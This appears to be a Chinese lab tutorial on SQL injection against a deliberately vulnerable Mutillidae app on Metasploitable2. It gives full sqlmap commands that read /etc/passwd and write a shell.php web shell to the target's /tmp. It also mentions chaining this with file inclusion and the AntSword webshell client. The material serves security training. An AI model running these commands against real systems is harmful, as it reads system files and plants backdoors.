工具

靶机——metasploitable2
攻击机——kali
环境——Mutillidae
菜刀——蚁剑

主要参数

sqlmap参数:
 --file-read=RFILE   Read a file from the back-end DBMS file system        
 从后端的数据库管理系统文件系统读取文件  
 
 --file-write=WFILE  Write a local file on the back-end DBMS file system   
 编辑后端的数据库管理系统文件系统上的本地文件
 
 --file-dest=DFILE   Back-end DBMS absolute filepath to write to           
 后端的数据库管理系统写入文件的绝对路径

实现

1、打开 Mutillidae 里 User Info 测试模块
在这里插入图片描述
2、手工注入发现漏洞
具体参考:SQL手工注入原理一手SQL工注入原理二

http://192.168.47.133/mutillidae/index.php?page=user-info.php&username=a%27f%27v&password=afv&user-info-php-submit-button=View+Account+Details
发现 username 存在注入漏洞

3、使用 sqlmap 自动注入工具

读:
 --file-read="/etc/passwd"
sqlmap -u "http://192.168.47.133/mutillidae/index.php?page=user-info.php&username=a%27f%27v&password=afv&user-info-php-submit-button=View+Account+Details" -p username  --file-read="/etc/passwd"

读取的内容保存在 /root/.sqlmap/output/192.168.47.133 这目录下

在这里插入图片描述
在这里插入图片描述

写:(要写的文件,必须在kali本机里有)
写入到 /tmp 目录下 
 --file-write="shell.php"  --file-dest="/tmp/shell.php"
 sqlmap -u "http://192.168.47.133/mutillidae/index.php?page=user-info.php&username=a%27f%27v&password=afv&user-info-php-submit-button=View+Account+Details" -p 'username'  --file-write="shell.php"  --file-dest="/tmp/shell.php"

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
尝试写入 /var/www 目录下 发现失败 (权限问题)
这时,需要利用到 DVWA里文件包含漏洞了
在介绍SQL手工注入 (load_file/out file)有详细介绍如何包含本地文件,以及菜刀的连接。
请参考-SQL注入一句话木马(load_file/out file)

Logo

快速构建 Web 应用程序

更多推荐